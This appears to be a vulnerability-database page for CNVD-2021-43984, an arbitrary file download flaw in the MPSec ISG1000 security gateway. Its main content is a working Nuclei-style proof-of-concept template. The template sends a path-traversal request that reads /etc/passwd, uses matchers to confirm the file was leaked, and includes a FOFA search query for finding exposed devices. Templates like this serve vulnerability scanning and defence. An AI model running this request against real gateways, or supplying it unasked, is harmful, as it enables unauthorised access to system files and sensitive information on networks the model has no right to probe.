CNVD-2021-43984: MPSec ISG1000 Security Gateway - Arbitrary File Download

2025-08-01 MPSec ISG1000 Security Gateway PoC Public

Description

The MPSec ISG1000 safety gateway at MP Communications Technology Co., Ltd. has any file download loophole, and attackers can use the loophole to obtain sensitive information.

PoC

id: CNVD-2021-43984

info:
  name: MPSec ISG1000 Security Gateway - Arbitrary File Download
  author: DhiyaneshDk
  severity: high
  description: |
    The MPSec ISG1000 safety gateway at MP Communications Technology Co., Ltd. has any file download loophole, and attackers can use the loophole to obtain sensitive information.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-43984
    - https://github.com/chaitin/xray/blob/master/pocs/mpsec-isg1000-file-read.yml
  metadata:
    verified: true
    max-request: 1
    fofa-query: "迈普通信技术股份有限公司"
  tags: cnvd2021,cnvd,mpsec,maipu,lfi,isg,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "text/plain"
          - "USGSESSID="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ee24be83934d9432cb30226e8e12f5576751f1aca1d677be810ad8577c7f3e43022045d6ceb274e68dfd00ce766dafd3c5a5ef251caa752acd0ffeb84da86af94099:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities